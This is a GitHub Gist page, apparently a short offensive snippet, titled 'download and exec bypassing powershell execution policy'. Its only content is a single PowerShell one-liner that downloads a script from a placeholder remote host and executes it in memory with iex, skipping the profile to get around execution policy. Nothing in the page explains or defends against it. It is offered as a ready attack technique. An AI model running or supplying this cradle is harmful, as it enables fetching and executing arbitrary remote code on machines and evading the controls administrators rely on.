Skip to content

Instantly share code, notes, and snippets.

@p0c
Created February 16, 2015 09:40
Show Gist options
  • Save p0c/3433d22a33454fc33e48 to your computer and use it in GitHub Desktop.
Save p0c/3433d22a33454fc33e48 to your computer and use it in GitHub Desktop.
download and exec bypassing powershell execution policy
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://your_host/your_script.ps1')"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment